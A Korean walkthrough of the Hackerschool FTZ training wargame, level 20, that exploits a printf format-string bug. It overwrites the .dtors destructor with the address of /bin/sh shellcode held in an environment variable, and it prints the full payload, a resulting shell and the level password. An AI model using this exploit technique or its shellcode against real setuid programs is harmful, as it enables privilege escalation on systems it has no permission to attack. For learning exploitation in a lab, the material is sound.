[level20@ftz level20]$ cat hint
#include <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
setreuid(3101,3101);
fgets(bleh,79,stdin);
printf(bleh);
}
cat 명령어로 hint를 출력해보면 소스코드가 출력됩니다.
소스코드를 봐보면 전과 다르게 입력을 변수 크기 보다 작게 받아서 버퍼 오버플로우가 발생하지 않습니다.
대신 printf( ) 함수를 봐보면 형식 지정자를 사용하지 않아서 포맷 스트링 오류가 발생합니다.
포멧 스트링 오류로 소멸자를 변조해서 쉘을 띄워보겠습니다.
.dtors: 소멸자로 main( )이 종료 되기 전에 호출돼서 실행됩니다.
먼저 bleh[80] 변수와 printf( ) 함수가 얼마나 떨어져 있나 봐보면
[level20@ftz level20]$ ./attackme
AAAA %x %x %x %x %x
AAAA 4f 4212ecc0 4207a750 41414141 20782520
12 Byte 떨어져 있습니다.
다음으로 소멸자 주소를 출력해보면
[level20@ftz level20]$ objdump -s -j .dtors attackme
attackme: file format elf32-i386
Contents of section .dtors:
8049594 ffffffff 00000000 ........
첫번째 값에 +4한 값이 소멸자 주소가 됩니다.
.dtors: "\x98\x95\x04\x08"
다음으로 환경변수를 설정하고 주소를 출력해보면
[level20@ftz tmp]$ export Shellcode=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[level20@ftz tmp]$ ./getenv
Shellcode: 0xbffffc21
0xbffffc21을 10진수로 변환해보면 3,221,224,428로 숫자가 너무 커서 한 번에 주소를 넘길 수 없습니다. 그래서 반씩 쪼개서 소멸자 주소를 덮어쓰겠습니다.
소멸자
"\x98\x95\x04\x08"
"\x98\x95\x04\x08" + 2byte = "\x9a\x95\x04\x08"
환경변수
0xfc21 = 64545 - (4+4+4+4+8+8+8 = 40) = 64505
0xbfff = 49151 - (64505 + 40) = 0x1bfff - 0xfc21 = 50142
이제 익스플로잇 코드를 짜보면
"AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%8x%64505c%n%50142c%n"
(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64505c%n%50142c%n"'; cat) | ./attackme
익스플로잇 코드를 실행시켜보면
[level20@ftz level20]$ (python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64505c%n%50142c%n"'; cat) | ./attackme
AAAAAAAA 4f4212ecc04207a750
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
쉘이 떴습니다.
my-pass 명령어를 입력해보면
my-pass
TERM environment variable not set.
clear Password is "i will come in a minute".
웹에서 등록하세요.
* 해커스쿨의 든 레벨을 통과하신 것을 축하드립니다.
당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.
해커스쿨에서는 실력있 분들을 모아 연구소라는 그룹을 운영하고 있습니다.
이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의
가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.